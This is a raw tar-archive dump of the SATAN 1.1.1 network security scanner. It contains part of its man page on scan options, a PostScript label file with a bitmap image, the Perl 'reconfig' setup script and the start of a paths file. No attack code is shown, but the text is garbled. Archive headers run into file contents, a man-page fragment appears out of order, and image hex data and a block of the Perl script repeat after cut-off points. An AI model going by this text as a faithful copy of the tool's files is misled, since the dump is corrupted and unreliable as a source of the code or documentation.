  796. decreases when
  797. .B SATAN
  798. goes from primary targets to secondary ones, and so on. The
  799. .I -z
  800. option determines what happens when the
  801. .I attack level
  802. reaches zero.
  803. .IP "-c 'name=value; name=value...'"
  804. Change the value of arbitrary 
  805. .B SATAN
  806. variables. Example: 
  807. .sp
  808. .ti +3
  809. .DS
  810. -c 'dont_use_dns = 1; dont_use_nslookup = 1'.
  811. .DE
  812. .sp
  813. The
  814. .I -c
  815. option allows you to control configuration and other variables that do
  816. not have their own command-line option. The format is a list of
  817. name=value pairs separated by semicolons. Variable names have no dollar
  818. prefix, and values are not quoted. Whitespace within values is
  819. preserved.
  820. .IP "-d database"
  821. Specifies the name of the database to read from and to save to (default
  822. .IR satan_data).
  823. .sp
  824. When multiple 
  825. .B SATAN
  826. processes are run in parallel, each process should be given its
  827. own database (for example, one database per subnet of 256 hosts). Use
  828. the
  829. .I merge
  830. facility of the HTML user interface to merge data from different runs.
  831. .IP -i
  832. Ignore the contents of the database.
  833. .IP "-l proximity"
  834. Maximal proximity level. Primary targets have proximity 0, hosts
  835. discovered while scanning primaries have proximity level 1, and so on.
  836. .B SATAN
  837. ignores all hosts that exceed the maximal proximity level.
  838. .IP "-o only_attack_these"
  839. A list of domain names and/or network numbers of hosts that
  840. .B SATAN
  841. is permitted to scan. List elements are separated by whitespace or
  842. commas. Understands the * shell-like wildcard.
  843. .IP "-O dont_attack_these"
  844. A list of domain names and/or network numbers that
  845. .B SATAN
  846. should stay away from. The list has the same format as with the
  847. .I -o
  848. option.
  849. .IP -s
  850. Subnet expansion. For each primary target,
  851. .B SATAN
  852. finds all alive hosts in the target\'s subnet (a block of 256
  853. addresses).
  854. .IP "-S status_file"
  855. While collecting data,
  856. .B SATAN
  857. maintains a status file with the last action taken. The default status
  858. file is
  859. .I status_file.
  860. .IP "-t level"
  861. Timeout level (0 = short, 1 = medium, 2 = long) for each probe.
  862. .IP -u
  863. Specifies that
  864. .B SATAN
  865. is being run from an untrusted host. Access via, for example, the
  866. remote shell or network file system services, means that there is a
  867. security problem.
  868. .IP -U
  869. Opposite of the
  870. .I -u
  871. option.
  872. .B SATAN
  873. may be run from a possibly trusted host. Access via, for example, the
  874. remote shell or network file system services is not necessarily a
  875. problem.
  876. .IP -v
  877. Verbose mode.
  878. .B SATAN
  879. prints on the standard output what it is doing. This is useful for
  880. debugging purposes.
  881. .IP -V
  882. .B SATAN
  883. prints its version number and terminates.
  884. .IP -z
  885. When scanning non-primary hosts, continue with
  886. .I attack level
  887. of zero when the level would become negative. The scan continues until
  888. the maximal proximity level is reached.
  889. .IP -Z
  890. Opposite of the
  891. .I -z
  892. option.
  893. .SH FILES
  894. .I config/*
  895. configuration files
  896. .br
  897. .I rules/*
  898. rule bases
  899. .br
  900. .I results/*
  901. data bases
  902. .SH AUTHORS
  903. Dan Farmer, Wietse Venema
  904. while probing a primary host. A primary target can be a host
  905. name, a host address, or a network number. In the latter case,
  906. .B SATAN
  907. collects data from each host in the named network.
  908. .PP
  909. .B SATAN
  910. can generate reports of hosts by type, service, vulnerability and by
  911. trust relationship. In addition, it offers tutorials tsatan-1.1.1/satan.ps................................................................................   600 .   465 .   506 .      35423  5737775022   7410. ...............................................
  912. .................................................................................................................................................................................................................................................................
  913. ....................................................%!
  914. %! print on Avery #05499, yellow glow labels
  915.  
  916. %% <</Policies <</PageSize 2 /MediaType 0>> >>
  917. %% setpagedevice
  918. %% <</PageSize [290 480]>>
  919. %% setpagedevice
  920.  
  921. 0.24 0.24 scale
  922. /picstr 32 string def
  923. 331.5 906.5 translate
  924. %%2037 1337 scale
  925. %%div 5
  926. 407 267 scale
  927.  
  928. /data <ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
  929. ffffffffe0fffffffffffffffffffffffffffffffffffff9ffffffffffffffff
  930. ffffffffffffffffffe0fffffffffffffffffffffffffffffff8000000043fff
  931. ffffffffffffffffffffffffffffe0ffffffffffffffffffffffffffffffc000
  932. 00000023ffffffffffffffffffffffffffffffe0ffffffffffffffffffffffff
  933. ffffe00000000000007fffffffffffffffffffffffffffffe0ffffffffffffff
  934. fffffffffffffe00000000000000003fffffffffffffffffffffffffffe0ffff
  935. ffffffffffffffffffffffe00000000000000000001fffffffffffffffffffff
  936. ffffe0fffffffffffffffffffffffffe000000000000000000000fffffffffff
  937. ffffffffffffffe0ffffffffffffffffffffffffe00000000000000000000000
  938. ffffffffffffffffffffffffe0ffffffffffffffffffffffff00000000000000
  939. 00000000007fffffffffffffffffffffffe0fffffffffffffffffffffff80000
  940. 0000000000000000000000ffffffffffffffffffffffe0ffffffffffffffffff
  941. ffffc0000000000000000000000000007fffffffffffffffffffffe0ffffffff
  942. fffffffffffffc00000000000000000000000000001fffffffffffffffffffff
  943. e0ffffffffffffffffffff0000000000000000000000000000001fffffffffff
  944. ffffffffffe0fffffffffffffffffffe0000000000000000000000000000003f
  945. ffffffffffffffffffffe0fffffffffffffffffffc0000000000000000000000
  946. 000000003fffffffffffffffffffffe0fffffffffffffffffff8000000000000
  947. 0000000000000000007fffffffffffffffffffffe0ffffffffffffffffffc000
  948. 00000000000000000000000000007fffffffffffffffffffffe0ffffffffffff
  949. fffffc000000000000007c18000000000000007fffffffffffffffffffffe0ff
  950. ffffffffffffffc0000000000000fffffffe3000000000007fffffffffffffff
  951. ffffffe0ffffffffffffffff0000000000003ffffffffffffc000000007fffff
  952. ffffffffffffffffe0ffffffffffffffff00000000000fffffffffffffffc000
  953. 00007fffffffffffffffffffffe0fffffffffffffff800000000003fffffffff
  954. fffffff80000007fffffffffffffffffffffe0ffffffffffffffe00000000003
  955. fffffffffffffffffff000007fffffffffffffffffffffe0ffffffffffffffe0
  956. 000000007fffffffffffffffffffff0000ffffffffffffffffffffffe0ffffff
  957. ffffffffc000000003ffffffffffffffffffffffc000ffffffffffffffffffff
  958. ffe0ffffffffffffff000000001ffffffffffffffffffffffff000ffffffffff
  959. ffffffffffffe0fffffffffffffc00000000fffffffffffffffffffffffff801
  960. ffffffffffffffffffffffe0fffffffffffffc00000003ffffffffffffffffff
  961. fffffffe01ffffffffffffffffffffffe0fffffffffffff00000000fffffffff
  962. ffffffffffffffffff81ffffffffffffffffffffffe0ffffffffffff80000000
  963. 3fffffffffffffffffffffffffffc3ffffffffffffffffffffffe0ffffffffff
  964. ff80000007ffffffffffffffffffffc0fffffff3ffffffffffffffffffffffe0
  965. fffffffffffe0000000f83ffffffffffffffffffc00fffffffffffffffffffff
  966. ffffffffe0fffffffffffc0000007e00ffffffffffffffffffc0007fffffffff
  967. ffffffffffffffffffe0fffffffffff8000001fe03ffffffffffffffffff8000
  968. 1fffffffffffffffffffffffffffe0fffffffffff0000007f800ffffffffffff
  969. ffffff800007ffffffffffffffffffffffffffe0ffffffffffe000001ff8007f
  970. ffffffffffffffff800001ffffffffffffffffffffffffffe0ffffffffff8000
  971. 007ff8001fffffffffffffffff800001ffffffffffffffffffffffffffe0ffff
  972. ffffff800001fff8001fffffffffffffffff8000007fffffffffffffffffffff
  973. ffffe0fffffffffe000007fffc000f8fffffffffffffff0000000fffffffffff
  974. ffffffffffffffe0fffffffffc00001ffffc00060fffffffffffffff00000007
  975. ffffffffffffffffffffffffe0fffffffff000007ffffc000007ffffffffffff
  976. ff00000003ffffffffffffffffffffffffe0fffffffff00000fffff8000007ff
  977. ffffffffffff00000001ffffffffffffffffffffffffe0ffffffffe00003ffff
  978. f8000007ffff3fffe7ffff00000000ffffffffffffffffffffffffe0ffffffff
  979. 800007fffff000000fffff3fff83fffe000000007fffffffffffffffffffffff
  980. e0ffffffff80001fffffe000003ffffc00fc01ffff000000001fffffffffffff
  981. ffffffffffe0ffffffff00003fffffc000007ffffc00f801ffff000000000fff
  982. ffffffffffffffffffffe0fffffffe0000fffffe000001fffffe00f800ffff00
  983. 0000000fffffffffffffffffffffffe0fffffffe0001fffff8000007fffffe00
  984. f000ffff8000000003ffffffffffffffffffffffe0fffffffc0007ffffc00000
  985. 0ffffffe00e000ffffe600000000ffffffffffffffffffffffe0fffffffc0007
  986. ffff8000001ff81ffe004000fffffff00000007fffffffffffffffffffffe0ff
  987. fffff0001fffff0000001fe000fe0000007ffffffc0000003fffffffffffffff
  988. ffffffe0fffffff0001ffffe0000001ff0000f0000007ffffffe0000001fffff
  989. ffffffffffffffffe0ffffffe0007fffff0000003ff0000f0000007ffffffff0
  990. 00000fffffffffffffffffffffe0ffffffe000ffffff0000003ff0000f000000
  991. 7ffffffff0000003ffffffffffffffffffffe0ffffffc001ffffffc000003fc0
  992. 000f0000007fffffffff800003ffffffffffffffffffffe0ffffff0003ffffff
  993. e07e003fc0000f0004003ffffffffff00001ffffffffffffffffffffe0fffffe
  994. 0007fffffffffe007fc00007001e003ffffffffff00000ffffffffffffffffff
  995. ffe0fffffe000ffffffffffc007f800007001e003ffffffffff000007fffffff
  996. ffffffffffffe0fffffe001ffffffffffc003f000007003e003ffffffffffc00
  997. 007fffffffffffffffffffe0fffffe003ffffff81ffc001f000007003f003fff
  998. fffffffe00003fffffffffffffffffffe0fffffc007ffffff001fc003f000007
  999. 003f001fffffffffff00001fffffffffffffffffffe0fffff8007fffffc0003e
  1000. 003e002007003f001fffffffffff80001fffffffffffffffffffe0fffff800ff
  1001. ffff00003f003e006007007f801fffffffffffe0000fffffffffffffffffffe0
  1002. fffff801ffffff00003f003e006007007f801fffffffffffe00007ffffffffff
  1003. ffffffffe0fffff003fffffe00003f001e006003807f801ffffffffffff00003
  1004. ffffffffffffffffffe0fffff003fff3fe00003f001e00f003807f000fffffff
  1005. fffff80003ffffffffffffffffffe0ffffe007ff03fc00003f001c00f003807f
  1006. 800ffffffffffffc0001ffffffffffffffffffe0ffffe00fff83fc00001f001c
  1007. 00f003807fc00fffffffffffff0001ffffffffffffffffffe0ffffc00ffe01f8
  1008. 00001f801c00f803c03fe00fffffffffffff8000ffffffffffffffffffe0ffff
  1009. 801ffc01f800001f801800f803c03f800fffffffffffff8000ffffffffffffff
  1010. ffffe0ffff801ff800f800801f001800f803c03f800fffffffffffffc0007fff
  1011. ffffffffffffffe0ffff003ff000f801801f801c00f801c03f8007ffffffffff
  1012. ffe0007fffffffffffffffffe0fffe003fc000f001801f801c00f801803f8007
  1013. fffffffffffff0007fffffffffffffffffe0fffe007f80007003801f800c00f0
  1014. 01c03f8007fffffffffffff0003fffffffffffffffffe0fffc007f0000700380
  1015. 1f800c00f001c03f8007fffffffffffff8003fffffffffffffffffe0fffc00ff
  1016. 00007007801f800400e000e03fe007fffffffffffffc003fffffffffffffffff
  1017. e0fffc00ff0000f007801fc00c006000e03ff003fffffffffffffe001fffffff
  1018. ffffffffffe0fff801fe0001c007c01fc00c004000e01ff003fffffffffffffe
  1019. 000fffffffffffffffffe0fff803fc0003c007c01fc00c000000e01ff003ffff
  1020. ffffffffff000fffffffffffffffffe0fff803fc0007c007c01fc00e000000f0
  1021. 1ff803ffffffffffffff000fffffffffffffffffe0fff00ff8000f800fc00fc0
  1022. 0e000000f01ffe0fffffffffffffff000fffffffffffffffffe0fff007f8001f
  1023. 800fc00fc00e000000f03ffffffffe7fffffffffc00fffffffffffffffffe0ff
  1024. e007f8003f000fc00fc00f000200fffffffffff00fffffffffc00fffffffffff
  1025. ffffffe0ffe00ff8007f000f800fc00f000700fffffffffff007ffffffffe007
  1026. ffffffffffffffffe0ffe00ff000ff000f800fc00f000700fffffffffff800ff
  1027. ffffffe003ffffffffffffffffe0ffc00ff000ff0007000fc00f800f007fffff
  1028. fffff800fffffffff003ffffffffffffffffe0ffe00ffc00ff0006000fe00f80
  1029. 0f00fffffffffff000fffffffff003ffffffffffffffffe0ffc00ffc007f8004
  1030. 000fe00f001f007ffffffffff000fffffffff803ffffffffffffffffe0ffc01f
  1031. fc003fc000000fc00fe03f807fffffffffe000fffffffff803ffffffffffffff
  1032. ffe0ffc01ffe001fe000000fe00ff07fc0fffffffffff000fffffffff803ffff
  1033. ffffffffffffe0ffc01fff000ff000000fe00ffffffffffff81ffff801ffffff
  1034. fff801ffffffffffffffffe0ff803fff8007f000300ff00ffffffffffff87fff
  1035. f001fffffffffc01ffffffffffffffffe0ff803fff8003f800700ff91fffffff
  1036. ffffe07ffff001ffcffffffc01ffffffffffffffffe0ff803fff8001f800700f
  1037. ffffffffffffffc03ffff001ff81fffffc01ffffffffffffffffe0ff803fff30
  1038. 00fc00f00fffffffffffffffe01ffff801ff800ffffe01ffffffffffffffffe0
  1039. ff803ffff800fc00f00fffffffffffffffe00ffff001ff0007fffe01ffffffff
  1040. ffffffffe0ff807fffe0007e01f80fffffffffffffffc007ffc001fc0003fffe
  1041. 01ffffffffffffffffe0ff807fffe4007f03f80fffffffffffffffc007fff001
  1042. f80001fffe01ffffffffffffffffe0ff807ffffe007f07f80fffffffffffffff
  1043. c007ff8001f80001fffe01ffffffffffffffffe0ff807ffffe007ffffc0fffff
  1044. ffffffffffe00fffc001f80001fffe01ffffffffffffffffe0ff007ffffc007f
  1045. ffffffffffffffffffffe00fffc003f00101fffe01ffffffffffffffffe0ff80
  1046. 7ffffc007ffffffffffffffffffffff03fff0003f00101fffc01ffffffffffff
  1047. ffffe0ff807ffff8007ffffffffffffffffff8fff81ffc0003f00301fffc01ff
  1048. ffffffffffffffe0ff80fffff0007fffffffffffffffffc03ffe3ff80003e006
  1049. 01fffc01ffffffffffffffffe0ff807fffe000ffffffffffffffffff801fffff
  1050. 900003e00601fffc01ffffffffffffffffe0ff80ffffe000ffffffffffffffff
  1051. ff001f81ff800003c00c01fffc03ffffffffffffffffe0ff007fff8001ffffff
  1052. cffffffffffe000f007f000003c00c03fffc03ffffffffffffffffe0ff807fff
  1053. 8001ffffff87fffffffff8000f003f000003800803fff803ffffffffffffffff
  1054. e0ff807fff0003fffffe00fffffffff8000f001f000003800007fff003ffffff
  1055. ffffffffffe0ff007fff0007fffffc00fffffffff8000f001f00000380000fff
  1056. f003ffffffffffffffffe0ff007fff000ffffff800ffffffffe0000f001e0000
  1057. 0380001fffe003ffffffffffffffffe0ff007fff001ffffff800780fffffe000
  1058. 0f001e00000380001fffe003ffffffffffffffffe0ff007fff803ffffffe00f8
  1059. 01ffffc0001f003e0020030000ffffc007ffffffffffffffffe0ff807fffc0ff
  1060. fffffe00f001f03f80003f003c0060030007ffffe007ffffffffffffffffe0ff
  1061. 803fffe1ffffffff81f001e01f8000fe003800e007001fffffe00fffffffffff
  1062. ffffffe0ff803fffffffffffffc3f001800f0001fe003801e007003f7fffc00f
  1063. ffffffffffffffffe0ff803fffffffffffffcff001000f0003fc007801e00700
  1064. 7e3fffc00fffffffffffffffffe0ff803fffffffffffff8fe0000007000ffc00
  1065. 7001800700fc07ffc01fffffffffffffffffe0ffc03ffffffffffffc07f00000
  1066. 07000ffe007003c00700f803ffc01fffffffffffffffffe0ffc01fffffffffff
  1067. f001f0000007001ffc007003c00700f803ff801fffffffffffffffffe0ffc01f
  1068. fffffffffff800f0000007801ffe007003c007007001ff801fffffffffffffff
  1069. ffe0ffe00ffffffffffff800f0000007801ffe007003c006004001ff003fffff
  1070. ffffffffffffe0ffe00ffffffffffff000f0000007800ffc007003c006000003
  1071. ff803fffffffffffffffffe0ffe00ffffffffffff800f0000007c007fc007007
  1072. 8007000007ff003fffffffffffffffffe0ffe007fffffffffff800f0000007e0
  1073. 07fc0060078007000007fe007fffffffffffffffffe0ffe007fffffffffff800
  1074. f0006007f003fc00e007800780001ffe007fffffffffffffffffe0fff003ffff
  1075. fffffff001f000e007f001fe00e007000fc0003ffe00ffffffffffffffffffe0
  1076. fff003fffffffffff001f001e007fc00f800c006000fe0007ffe00ffffffffff
  1077. ffffffffe0fff801fffffffffff001f001e007fe00fc00e000000fe000fffc01
  1078. ffffffffffffffffffe0fff801fffffffffff001f003e007fe007c00e000000f
  1079. f001fffc01ffffffffffffffffffe0fff800fffffffffff001e003e007ff003c
  1080. 00f000000ffc03fff803ffffffffffffffffffe0fffc00fffffffffff001e003
  1081. e007fe003c00e000000ffffffff803ffffffffffffffffffe0fffc007fffffff
  1082. fff001e007f007ff801c00f000200ffffffff807ffffffffffffffffffe0fffc
  1083. 003ffffffffff001e007f003ff001c01f000600ffffffff007ffffffffffffff
  1084. ffffe0fffe003fffffffffe003e007e003fe001c01f000c00ffffffff00fffff
  1085. ffffffffffffffe0fffe001ffffffffff003e007e003fe001c01f800c00fffff
  1086. ffe01fffffffffffffffffffe0ffff000fffffffffe003e00fe003fc001c01f8
  1087. 01c00fffffffe01fffffffffffffffffffe0ffff000fffffffffe003e00fe003
  1088. e0003c01f803c01fffffffc03fffffffffffffffffffe0ffff8007fffffffff0
  1089. 03f00f8003e0003c01fc07e01fffffff803fffffffffffffffffffe0ffff8003
  1090. ffffffffe003e00fc003e0003c01ffffc01fffffff007fffffffffffffffffff
  1091. e0ffffc003ffffffffe003e00fe003e0007c01fffff01ffffffe00ffffffffff
  1092. ffffffffffe0ffffc001ffffffffe003f00fe003c000fc03fffffc1ffffffe01
  1093. ffffffffffffffffffffe0ffffe000ffffffffe003f00fe001c000fc07ffffff
  1094. fffffffc01ffffffffffffffffffffe0ffffe0007fffffffe003f00ff0018001
  1095. fffffffffffffffff003ffffffffffffffffffffe0fffff0003fffffffe007e0
  1096. 0ff0018003ffffffffffffffffe003ffffffffffffffffffffe0fffff8001fff
  1097. fffff007e00ff0018007ffffffffffffffffc007ffffffffffffffffffffe0ff
  1098. fffc000ffffffff007f00ff801800fffffffffffffffff000fffffffffffffff
  1099. ffffffe0fffffc0007ffffffe007f00ff801801fffffffffffffffff000fffff
  1100. ffffffffffffffffe0fffffe0003ffffffe007f00ff801c03fffffffffffffff
  1101. fe001fffffffffffffffffffffe0ffffff0001fffffff007fc1ff001e07fffff
  1102. fffffffffff0003fffffffffffffffffffffe0ffffff0000fffffff007fffff8
  1103. 01fffffffffffffffffff0007fffffffffffffffffffffe0ffffff80003fffff
  1104. f00ffffffc01fffffffffffffffffff0007fffffffffffffffffffffe0ffffff
  1105. c0001ffffff00ffffffe01ffffffffffffffffffe000ffffffffffffffffffff
  1106. ffe0ffffffe0000ffffff00fffffff03ffffffffffffffffffc001ffffffffff
  1107. ffffffffffffe0fffffff00007fffff80fffffffffffffffffffffffffffc001
  1108. ffffffffffffffffffffffe0fffffff00001fffffc0fffffffffffffffffffff
  1109. ffffff8003ffffffffffffffffffffffe0fffffff80000ffffff1fffffffffff
  1110. fffffffffffffffc0007ffffffffffffffffffffffe0fffffffc00003fffffff
  1111. fffffffffffffffffffffffff8000fffffffffffffffffffffffe0fffffffe00
  1112. 000fffffffffffffffffffffffffffffffe0001fffffffffffffffffffffffe0
  1113. ffffffff000007ffffffffffffffffffffffffffffffc0003fffffffffffffff
  1114. ffffffffe0ffffffff800000fffffffffffffffffffffffffffffc0000ffffff
  1115. ffffffffffffffffffe0ffffffffe000003ffffffffffffffffffffffffffff8
  1116. 0001ffffffffffffffffffffffffe0fffffffff000000fffffffffffffffffff
  1117. ffffffffe00003ffffffffffffffffffffffffe0fffffffff8000007ffffffff
  1118. ffffffffffffffffff800007ffffffffffffffffffffffffe0fffffffffc0000
  1119. 00fffffffffffffffffffffffffc00001fffffffffffffffffffffffffe0ffff
  1120. fffffe0000003ffffffffffffffffffffffff000003fffffffffffffffffffff
  1121. ffffe0ffffffffff80000007ffffffffffffffffffffff800000ffffffffffff
  1122. ffffffffffffffe0ffffffffffc0000001ffffffffffffffffffffff000001ff
  1123. ffffffffffffffffffffffffe0fffffffffff00000003fffffffffffffffffff
  1124. f8000007ffffffffffffffffffffffffffe0fffffffffff00000000fffffffff
  1125. ffffffffff8000000fffffffffffffffffffffffffffe0fffffffffffc000000
  1126. 00fffffffffffffffff00000007fffffffffffffffffffffffffffe0ffffffff
  1127. fffe000000001ffffffffffffff800000001ffffffffffffffffffffffffffff
  1128. e0ffffffffffff8000000000fffffffffffc8000000007ffffffffffffffffff
  1129. ffffffffffe0ffffffffffffe00000000007fffffff810000000001fffffffff
  1130. ffffffffffffffffffffe0fffffffffffff000000000001fe07c000000000000
  1131. 3fffffffffffffffffffffffffffffe0fffffffffffffc000000000000000000
  1132. 0000000000ffffffffffffffffffffffffffffffe0ffffffffffffffc0000000
  1133. 00000000000000000013ffffffffffffffffffffffffffffffe0ffffffffffff
  1134. ffe00000000000000000000000007fffffffffffffffffffffffffffffffe0ff
  1135. fffffffffffff8000000000000000000000001ffffffffffffffffffffffffff
  1136. ffffffe0fffffffffffffffc000000000000000000000007ffffffffffffffff
  1137. ffffffffffffffffe0ffffffffffffffff80000000000000000000003fffffff
  1138. ffffffffffffffffffffffffffe0ffffffffffffffffe0000000000000000000
  1139. 01ffffffffffffffffffffffffffffffffffe0ffffffffffffffffff80000000
  1140. 00000000000fffffffffffffffffffffffffffffffffffe0ffffffffffffffff
  1141. fff80000000000000000ffffffffffffffffffffffffffffffffffffe0ffffff
  1142. ffffffffffffff800000000000000fffffffffffffffffffffffffffffffffff
  1143. ffe0fffffffffffffffffffff0000000000000ffffffffffffffffffffffffff
  1144. ffffffffffffe0ffffffffffffffffffffffe0000000007fffffffffffffffff
  1145. ffffffffffffffffffffffe0ffffffffffffffffffffffffff00007fffffffff
  1146. ffffffffffffffffffffffffffffffffe0ffffffffffffffffffffffffffffff
  1147. ffffffffffffffffffffffffffffffffffffffffffe0ffffffffffffffffffff
  1148. ffffffffffffffffffffffffffffffffffffffffffffffffffffe00000000000> def
  1149.  
  1150. /satan {291 191 1 [ 291 0 0 -191 0 191 ] { data } image } def
  1151.  
  1152. /dx .95 def
  1153. /dy 1.490 def
  1154.  
  1155. -.713 -3.13 translate
  1156.  
  1157. satan
  1158. dx 0 translate satan
  1159. dx 0 translate satan
  1160. dx 2 mul neg dy translate satan
  1161. dx 0 translate satan
  1162. dx 0 translate satan
  1163. dx 2 mul neg dy translate satan
  1164. dx 0 translate satan
  1165. dx 0 translate satan
  1166. dx 2 mul neg dy translate satan
  1167. dx 0 translate satan
  1168. dx 0 translate satan
  1169. dx 2 mul neg dy translate satan
  1170. dx 0 translate satan
  1171. dx 0 translate satan
  1172.  
  1173. %%/#copies 10 def
  1174.  
  1175. showpage
  1176. ffe003f00fe001c000fc07ffffff
  1177. fffffffc01ffffffffffffffffffffe0ffffe0007fffffffe003f00ff0018001
  1178. fffffffffffffffff003ffffffffffffffffffffe0fffff0003fffffffe007e0
  1179. 0ff0018003ffffffffffffffffe003ffffffffffffffffffffe0fffff8001fff
  1180. fffff007e00ffsatan-1.1.1/reconfig................................................................................   700 .   465 .   506 .      11217  5741756640   7451. ........................................................................................
  1181. .................................................................................................................................................................................................................................................................
  1182. ...........#!/bin/sh -- need to mention perl here to avoid recursion
  1183. 'true' || eval 'exec perl -S $0 $argv:q';
  1184. eval '(exit $?0)' && eval 'exec perl -S $0 ${1+"$@"}'
  1185. & eval 'exec /usr/local/bin/perl -S $0 $argv:q'
  1186. .if 0;
  1187.  
  1188. #
  1189. # version 1, Sun Mar 26 18:31:28 1995, last mod by zen
  1190. #
  1191.  
  1192. #  Usage: [perl] reconfig [file]
  1193. #
  1194. #   This replaces the program paths (e.g. /bin/awk) in SATAN with an
  1195. # alternate path that is found in the file "file.paths".  It also finds
  1196. # perl5 (or at least tries!) and changes the path in all the stand-alone
  1197. # perl programs.
  1198. #
  1199.  
  1200. # all the HTML browsers we know about, IN ORDER OF PREFERENCE!
  1201. @all_www= ("netscape", "Mosaic", "xmosaic", "lynx");
  1202.  
  1203. #
  1204. #  Potential directories to find commands; first, find the user's path...
  1205. $PATH = $ENV{"PATH"};
  1206.  
  1207. # additional dirs; *COLON* separated!
  1208. $other_dirs="/usr/ccs/bin:/bin:/usr/bin:/usr/ucb:/usr/bsd:/usr/ucb/bin:/usr/sbin:/usr/etc:/usr/local/bin:/usr/bin/X11:/usr/X11/bin:/usr/openwin/bin";
  1209.  
  1210. #
  1211. # split into a more reasonable format. Personal aliases come last.
  1212. @all_dirs = split(/:/, $other_dirs . ":" . $PATH);
  1213.  
  1214. #
  1215. #  Target shell scripts in question:
  1216. @shell_scripts=("config/paths.pl", "config/paths.sh");
  1217. @perl5_src = <bin/get_targets bin/faux_fping satan bin/*.satan perl/html.pl>;
  1218.  
  1219. #
  1220. #  Target shell commands in question
  1221. @all_commands=("cc", "cat", "chmod", "cmp", "comm", "cp", "date", "diff",
  1222. ."egrep", "expr", "find", "grep", "ls", "mail", "mkdir", "mv", "rm",
  1223. ."sed", "sh", "sort", "tftp", "touch", "uniq", "uudecode", "ypcat",
  1224. ."strings", "finger", "ftp", "rpcinfo", "rusers", "showmount", "ping",
  1225. ."ypwhich", "nslookup", "xhost", "su", "awk", "sed", "test", "whoami", 
  1226. ."basename", "echo", "file");
  1227.  
  1228. print "checking to make sure all the target(s) are here...\n";
  1229.  
  1230. for (@shell_scripts) {
  1231. .die "ERROR -- $_ not found!\n" unless -f $_;
  1232. .}
  1233.  
  1234. # find perl5!
  1235. print "Ok, trying to find perl5 now... hang on a bit...\n";
  1236. for $dir (@all_dirs) {
  1237. .# first, find where it might be; oftentimes you'll see perl,
  1238. .# perl4, perl5, etc. in the same dir
  1239. .next if (! -d $dir);
  1240. .while (<$dir/perl5* $dir/perl*>) {
  1241. ..if (-x $_) {
  1242. ...$perl_version=`($_ -v 2> /dev/null) |
  1243. ....awk '/This is perl, version 5/ { print $NF }'`;
  1244. ...if ($perl_version) {
  1245. ....$PERL=$_;
  1246. ....$pflag="1";
  1247. ....last;
  1248. ....}
  1249. ...}
  1250. ...last if $pflag;
  1251. ..}
  1252. .last if $pflag;
  1253. .}
  1254.  
  1255. die "\nCan't find perl5!  Bailing out...\n" unless $PERL;
  1256. print "\nPerl5 is in $PERL\n";
  1257.  
  1258. for (@perl5_src) { $perl5_src .= "$_ "; }
  1259. print "\nchanging the source in: $perl5_src\n";
  1260. system "$PERL -pi -e \"s@^#!.*/perl.*@#!$PERL@;\" $perl5_src";
  1261.  
  1262. # make sure things are executable...
  1263. system("chmod u+x $perl5_src");
  1264.  
  1265. # find the most preferred www viewer first.
  1266. for $www (@all_www) {
  1267. .for $dir (@all_dirs) {
  1268. ..if (!$MOSAIC) {
  1269. ...if (-x "$dir/$www") {
  1270. ....$MOSAIC="$dir/$www";
  1271. ....next;
  1272. ....}
  1273. ...}
  1274. ..}
  1275. .}
  1276. if ($MOSAIC) {
  1277. .print "\nHTML/WWW Browser is $MOSAIC\n";
  1278. .$upper{"MOSAIC"} = $MOSAIC;
  1279. .}
  1280. else { print "Cannot find a web browser!  SATAN cannot be run except in CLI"; }
  1281.  
  1282. print "\nSo far so good...\nLooking for all the commands now...\n";
  1283.  
  1284. for $command (@all_commands) {
  1285. .$found="";
  1286. .for $dir (@all_dirs) {
  1287. ..# special case rsh/remsh; if we can find remsh, ignore rsh
  1288. ..if ($command eq "rsh") {
  1289. ...# print "looking for rsh/remsh ($dir/$command)\n";
  1290. ...if (-f "$dir/remsh") {
  1291. ....# this converts to upper case
  1292. ....($upper = $command) =~ y/[a-z]/[A-Z]/;
  1293. ....$found="true";
  1294. ....$upper{$upper} = "$dir/remsh";
  1295. ....print "found $dir/remsh; using this instead of rsh\n";
  1296. ....last;
  1297. ....}
  1298. ...}
  1299.  
  1300. ..# if find the command in one of the directories, print string
  1301. ..if (-f "$dir/$command") {
  1302. ...# this converts to upper case
  1303. ...($upper = $command) =~ y/[a-z]/[A-Z]/;
  1304. ...$found="true";
  1305. ...$upper{$upper} = "$dir/$command";
  1306. ...# print "found ($upper) $dir/$command\n";
  1307.  
  1308. ...# if it's rsh we're examining, keep looking; else quit
  1309. ...last unless $command eq "rsh";
  1310. ...}
  1311. ..}
  1312. .print "\nAEEEIIII...!!!  can't find $command\n\n" unless $found;
  1313. .}
  1314.  
  1315. print "\nOk, now doing substitutions on the shell scripts...\n";
  1316. for $shell (@shell_scripts) {
  1317.  .print "Changing paths in $shell...\n";
  1318. .die "Can't open $shell\n" unless open(SCRIPT, $shell);
  1319. .rename($shell, $shell . '.old');
  1320. .die "Can't open $shell\n" unless open(OUT, ">$shell");
  1321.  
  1322. .#
  1323. .#  Open up the script, search for lines beginning with
  1324. .# stuff like "TEST", "AWK", etc.  If the file ends in "pl",
  1325. .# assume it's a perl script and change it accordingly
  1326. .while (<SCRIPT>) {
  1327. ..$found = 0;
  1328. ..for $command (keys %upper) {
  1329. ...if(/^\$?$command=/) {
  1330. ....# shell script
  1331. ....if ($shell !~ /.pl$/) {
  1332. .....print OUT "$command=$upper{$command}\n";
  1333. .....}
  1334. ....# perl script
  1335. ....else {
  1336. .....print OUT "\$" . "$command=\"$upper{$command}\";\n";
  1337. .....}
  1338. ....$found = 1;
  1339. ....}
  1340. ...}
  1341. ..print OUT $_ if !$found;
  1342. ..}
  1343. .close(SCRIPT);
  1344. .close(OUT);
  1345. .}
  1346.  
  1347. # done...
  1348.  
  1349. o make sure all the target(s) are here...\n";
  1350.  
  1351. for (@shell_scripts) {
  1352. .die "ERROR -- $_ not found!\n" unless -f $_;
  1353. .}
  1354.  
  1355. # find perl5!
  1356. print "Ok, trying to find perl5 now... hang on a bit...\n";
  1357. for $dir (@all_dirs) {
  1358. .# first, find where it might be; oftentimes you'll see perl,
  1359. .# perl4, perl5, etc. in the same dir
  1360. .next if (! -d $dir);
  1361. .while (<$dir/perl5* $dir/perlsatan-1.1.1/config/.................................................................................   700 .   465 .   506 .          0  5742521534   7056. .......................................................................
  1362. .................................................................................................................................................................................................................................................................
  1363. ............................satan-1.1.1/config/paths.pl.........................................................................   600 .   465 .   506 .       1142  5742457420  10621. .........................................................................
  1364. .................................................................................................................................................................................................................................................................
  1365. ..........................$FINGER="/usr/ucb/finger";
  1366. $FTP="/usr/ucb/ftp";
  1367. $RPCINFO="/usr/etc/rpcinfo";
